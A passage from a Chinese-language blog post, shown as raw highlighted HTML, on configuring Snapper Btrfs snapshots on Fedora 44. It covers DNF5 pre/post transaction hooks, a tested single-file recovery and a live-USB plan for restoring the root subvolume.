&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --type single &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --cleanup-algorithm number &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --description &lt;span class="s1"&gt;&amp;#39;Fedora 44 homelab baseline&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --userdata &lt;span class="nv"&gt;important&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;yes &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --print-number
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;然后检查：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper --config root list
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;create&lt;/code&gt; 返回快照编号 &lt;code&gt;1&lt;/code&gt;，列表中实际记录为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# │ 类型 │ 前期 # │ 用户 │ 清空 │ 描述 │ 用户数据
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1 │ single │ │ root │ number │ Fedora 44 homelab baseline │ important=yes
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="为-dnf5-事务创建-prepost-快照"&gt;为 DNF5 事务创建 pre/post 快照
&lt;/h3&gt;&lt;p&gt;DNF5 的 actions 插件读取 &lt;code&gt;/etc/dnf/libdnf5-plugins/actions.d/*.actions&lt;/code&gt;。参考 DNF5 官方示例和 Fedora 实践文章，创建：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo install -d -m &lt;span class="m"&gt;0755&lt;/span&gt; /etc/dnf/libdnf5-plugins/actions.d
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo tee /etc/dnf/libdnf5-plugins/actions.d/snapper.actions &amp;gt;/dev/null &lt;span class="s"&gt;&amp;lt;&amp;lt;&amp;#39;EOF&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;# Record the DNF5 command as the snapshot description.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;pre_transaction::::/usr/bin/sh -c echo\ &amp;#34;tmp.snapper_desc=$(ps\ -o\ command\ --no-headers\ -p\ &amp;#39;${pid}&amp;#39;)&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;# Create a pre snapshot and pass its number to the post hook.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;pre_transaction::::/usr/bin/sh -c echo\ &amp;#34;tmp.snapper_pre_number=$(/usr/bin/snapper\ --config\ root\ create\ --type\ pre\ --print-number\ --cleanup-algorithm\ number\ --description\ &amp;#39;${tmp.snapper_desc}&amp;#39;)&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;# Pair the post snapshot with the pre snapshot, then clear temporary variables.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;post_transaction::::/usr/bin/sh -c [\ -n\ &amp;#34;${tmp.snapper_pre_number}&amp;#34;\ ]\ &amp;amp;&amp;amp;\ /usr/bin/snapper\ --config\ root\ create\ --type\ post\ --pre-number\ &amp;#34;${tmp.snapper_pre_number}&amp;#34;\ --cleanup-algorithm\ number\ --description\ &amp;#34;${tmp.snapper_desc}&amp;#34;;\ echo\ tmp.snapper_pre_number\ ;\ echo\ tmp.snapper_desc
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;相比参考文章，这里显式加入 &lt;code&gt;--cleanup-algorithm number&lt;/code&gt;。否则 DNF 创建的 pre/post 快照在 Snapper 列表中没有 cleanup 类型，不会受到 &lt;code&gt;NUMBER_LIMIT&lt;/code&gt; 管理，时间久了仍然可能无限累积。&lt;/p&gt;
&lt;p&gt;用一次无功能变化的 Snapper 重装来验证 hook。RPM Fusion 仍与本次事务无关，所以继续临时禁用：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo dnf reinstall --disablerepo&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;rpmfusion-*&amp;#39;&lt;/span&gt; snapper
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper --config root list
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;DNF 事务完成后，Snapper 列表新增：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# │ 类型 │ 前期 # │ 清空 │ 描述
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2 │ pre │ │ number │ dnf reinstall --disablerepo=rpmfusion-* snapper
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3 │ post │ 2 │ number │ dnf reinstall --disablerepo=rpmfusion-* snapper
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;#3&lt;/code&gt; 正确关联 &lt;code&gt;Pre #2&lt;/code&gt;，描述包含真实 DNF 命令，二者的 Cleanup 都是 &lt;code&gt;number&lt;/code&gt;。DNF5 actions 的语法、临时变量传递和自动清理标签均通过实测。&lt;/p&gt;
&lt;h3 id="实际演练单文件恢复"&gt;实际演练单文件恢复
&lt;/h3&gt;&lt;p&gt;快照系统必须做一次恢复演练。创建 pre 快照、写入一个临时文件、创建 post 快照，再用 Snapper 撤销这项变化：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;span class="lnt"&gt;24
&lt;/span&gt;&lt;span class="lnt"&gt;25
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;pre&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;sudo snapper --config root create &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --type pre &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --print-number &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --cleanup-algorithm number &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --description &lt;span class="s1"&gt;&amp;#39;snapper recovery smoke test&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%s\n&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;this file should be removed by snapper&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; sudo tee /etc/snapper-recovery-test &amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;post&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;sudo snapper --config root create &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --type post &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --pre-number &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$pre&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --print-number &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --cleanup-algorithm number &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --description &lt;span class="s1"&gt;&amp;#39;snapper recovery smoke test&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper --config root status &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$pre&lt;/span&gt;&lt;span class="s2"&gt;..&lt;/span&gt;&lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper --config root diff &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$pre&lt;/span&gt;&lt;span class="s2"&gt;..&lt;/span&gt;&lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /etc/snapper-recovery-test
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper --config root undochange &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$pre&lt;/span&gt;&lt;span class="s2"&gt;..&lt;/span&gt;&lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /etc/snapper-recovery-test
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;test&lt;/span&gt; ! -e /etc/snapper-recovery-test
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper --config root delete &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$pre&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;实际创建的 pre 是 &lt;code&gt;#4&lt;/code&gt;，post 是 &lt;code&gt;#5&lt;/code&gt;。&lt;code&gt;status&lt;/code&gt; 与 &lt;code&gt;diff&lt;/code&gt; 输出：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+..... /etc/snapper-recovery-test
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;@@ -0,0 +1 @@
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+this file should be removed by snapper
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;执行 &lt;code&gt;undochange&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;创建：0 修订：0 删除：1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;recovery test: PASS (file removed)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;文件确实消失，单文件恢复通过实测。最后删除 &lt;code&gt;#4/#5&lt;/code&gt;，不给正式时间线留下测试垃圾。&lt;/p&gt;
&lt;p&gt;日常恢复时会先只读检查，再执行撤销：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper --config root list
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper --config root status SNAPSHOT..0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper --config root diff SNAPSHOT..0 /etc/example.conf
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper --config root undochange SNAPSHOT..0 /etc/example.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="完整根子卷恢复方案"&gt;完整根子卷恢复方案
&lt;/h3&gt;&lt;p&gt;不会直接把 &lt;code&gt;snapper rollback SNAPSHOT&lt;/code&gt; 当作这台机器的恢复命令。&lt;/p&gt;
&lt;p&gt;Snapper 手册中的 &lt;code&gt;rollback&lt;/code&gt; 会创建新快照并修改 Btrfs 默认子卷，前提是系统按默认子卷启动。但 Fedora 的 &lt;code&gt;/etc/fstab&lt;/code&gt; 明确写了 &lt;code&gt;subvol=root&lt;/code&gt;，&lt;code&gt;/boot&lt;/code&gt; 又在独立 XFS 分区上。修改默认子卷不等于 Fedora 一定会从它启动。在没有做过实机演练前，把 openSUSE 的 rollback 流程原样搬过来风险太高。&lt;/p&gt;
&lt;p&gt;完整根恢复计划是在 Fedora Live USB 或 rescue 环境中直接替换顶层的 &lt;code&gt;root&lt;/code&gt; 子卷。假设要恢复快照 &lt;code&gt;SNAPSHOT&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo mkdir -p /mnt/fedora
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo mount -o &lt;span class="nv"&gt;subvolid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;UUID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;94c4f2ec-17aa-420f-a87a-6bbec3f57ad9 &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /mnt/fedora
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;stamp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date +%Y%m%d-%H%M%S&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo mv /mnt/fedora/root &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;/mnt/fedora/root-broken-&lt;/span&gt;&lt;span class="nv"&gt;$stamp&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo btrfs subvolume snapshot &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;/mnt/fedora/snapshots/SNAPSHOT/snapshot&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /mnt/fedora/root
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo btrfs property &lt;span class="nb"&gt;set&lt;/span&gt; /mnt/fedora/root ro &lt;span class="nb"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo btrfs subvolume show /mnt/fedora/root
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo umount /mnt/fedora
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo reboot
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;fstab&lt;/code&gt; 仍然挂载名为 &lt;code&gt;root&lt;/code&gt; 的子卷，所以不需要修改 subvolume ID。旧的损坏根先改名保留，不立即删除；只有新根启动、服务和数据都验证正常后，才考虑清理 &lt;code&gt;root-broken-*&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;如果恢复后的根无法启动，可以回到 Live 环境撤销重命名：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo mv /mnt/fedora/root /mnt/fedora/root-rollback-failed
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo mv /mnt/fedora/root-broken-TIMESTAMP /mnt/fedora/root
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;完整回滚还有几个明确限制：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/boot&lt;/code&gt; 不在快照中。回滚系统包后，如遇内核或 initramfs 不匹配，先从 GRUB 选择仍保留的旧内核；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/var&lt;/code&gt; 不回滚。日志、缓存、容器状态和位于 &lt;code&gt;/var&lt;/code&gt; 的服务数据保持当前状态；&lt;/li&gt;
